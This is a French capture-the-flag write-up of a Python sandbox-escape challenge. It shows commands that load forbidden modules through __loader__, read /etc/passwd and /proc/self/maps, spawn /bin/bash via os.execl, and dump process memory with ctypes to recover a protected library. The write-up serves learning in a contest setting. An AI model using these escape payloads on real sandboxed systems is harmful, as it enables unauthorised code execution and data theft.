Votre but est d'appeler la fonction print_flag pour afficher le flag.
Service : nc challenges1.france-cybersecurity-challenge.fr 4005
Solution
On se connecte au service et on est accueilli avec ce qui a tout l'air d'être un shell Python :
$ nc challenges1.france-cybersecurity-challenge.fr 4005Arriverez-vous à appeler la fonction print_flag ?Python 3.8.2 (default, Apr 12020,15:52:55) [GCC 9.3.0] on linux>>> print_flagTraceback (most recent call last): File "<stdin>", line 1,in<module>NameError: name 'print_flag'isnot defined
A partir de ce moment, je me dis que c'est une Python jail classique et j'essaie un peu tous les payloads usuels. L'importation semble être autorisée, mais sur un nombre restreint de modules :
>>>import binasciiException ignored in audit hook:Exception: Action interditeException: Module non autoriséTraceback (most recent call last): File "<stdin>", line 1,in<module>Exception: Action interdite
En farfouillant un peu toutefois à l'aide de dir(), on arrive à importer les modules builtins que l'on veut :
>>> L = __loader__.load_module>>>L('binascii')<module 'binascii' (built-in)>
La fonction open existe, mais on dirait que d'un hook empêche de l'utiliser :
Cependant, toujours en tatonnant, on trouve une fonction open dans le module codecs qui fonctionne. Génial.
>>>open=L('codecs').open>>>open('/etc/passwd', 'r').read()'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/bin/false\nctf-init:x:1000:1000::/home/ctf-init:\nctf:x:1001:1001::/home/ctf:\n'
On peut maintenant lire des fichiers arbitraires sur le serveur... on essaie quelques noms du style server.py ou chall.py, mais rien de probant. Essayons de lire /proc/self/maps :
Fantastique : il semblerait que le serveur soit en fait lancé par un binaire nommé /app/spython, et on remarque aussi l'existence d'un fichier très intéressant nommé /app/lib_flag.so. Probablement la fonction print_flag tant recherchée se trouve à l'intérieur !
On dump le binaire spython, par exemple en l'encodant en hexadécimal et en le rapatriant sur sa machine à l'aide d'un habile copier-coller :
On l'analyse avec Ghidra. Le binaire utilise l'API CPython et semble utiliser une mécanique de hooks pour bloquer certaines opérations, mais je ne connais pas le fonctionnement plus en détail et je n'ai pas réussi à comprendre exactement tout le fonctionnement du binaire. Heureusement ce n'est pas très important pour réussir l'épreuve.
On remarque la fonction welcome qui affiche le message du début : ce symbole n'existe pas dans le binaire, il provient certainement de la fameuse lib_flag.so.
Mince... A ce moment-là je me suis dit que j'allais continuer à traiter l'épreuve comme une jail classique, et j'ai trouvé le moyen d'importer os et d'obtenir un shell. Spoiler alert, ce shell ne sert à rien pour la résolution.
>>> sys =L('sys')>>> os = sys.meta_path[2].find_module('os').load_module('os')>>> shell =lambda: os.execl('/bin/bash','/bin/bash')>>>shell()bash: cannot set terminal process group (15810): Inappropriate ioctl for devicebash: no job control in this shellctf@whynotasandbox:/app$ ls -latotal 40drwxr-xr-x 1 root root 4096 Apr 2520:58.drwxr-xr-x 1 root root 4096 Apr 2520:59 ..-r-------- 1 ctf-init ctf 16064 Apr 2520:58 lib_flag.so-r-sr-x---1 ctf-init ctf 14904 Apr 2520:58 spython
Voici donc la source de tous nos problèmes : seul ctf-init peut lire lib_flag.so.
Cette deuxième partie de l'épreuve fut la plus difficile. Il faudrait soit trouver un moyen d'appeler print_flag depuis le shell Python, soit trouver un moyen de lire directement le contenu de lib_flag.so.
Après beaucoup d'essais infructueux, la solution m'est finalement apparue en m'inspirant de la toute fin de ce writeup : https://germano.dev/fuckpyjails/
Avec le module ctypes, on peut aller fouiller la mémoire du processus. En plus, on a le mapping mémoire grâce à /proc/self/maps, et en particulier les adresses des pages de là où est chargée libc_flag.so : c'est gagné.
>>>from ctypes import*>>> OP =POINTER(c_char)>>> s ="salut">>> s.__repr__# address leak<method-wrapper '__repr__' of strobject at 0x7ffa315740f0>>>>cast(0x7ffa315740f0, OP).contentsc_char(b'\x01')
Écrivons maintenant une fonction très utile qui nous permettra de dump la mémoire sur un nombre d'octets donné :
mem =lambdaaddr,sz: b''.join(cast(addr+i, POINTER(c_char)).contents for i inrange(sz))
Je passe les détails du dump des pages associées à lib_flag.so, toutes les adresses sont données, j'encode en hexa le total et je rapatrie sur ma machine.
On obtient un ELF mais il semble corrompu. En l'examinant, j'ai l'impression qu'une page (4096 octets) a été dupliquée pour une raison que je ne connais pas. En l'enlevant, ça fonctionne, et on fait chauffer Ghidra :
Un petit coup de CyberChef et c'est plié.
Une épreuve très fun qui m'aura appris un tas de choses, fait lire beaucoup de doc, et qui avec du recul n'est pas si tirée par les cheveux. J'adore !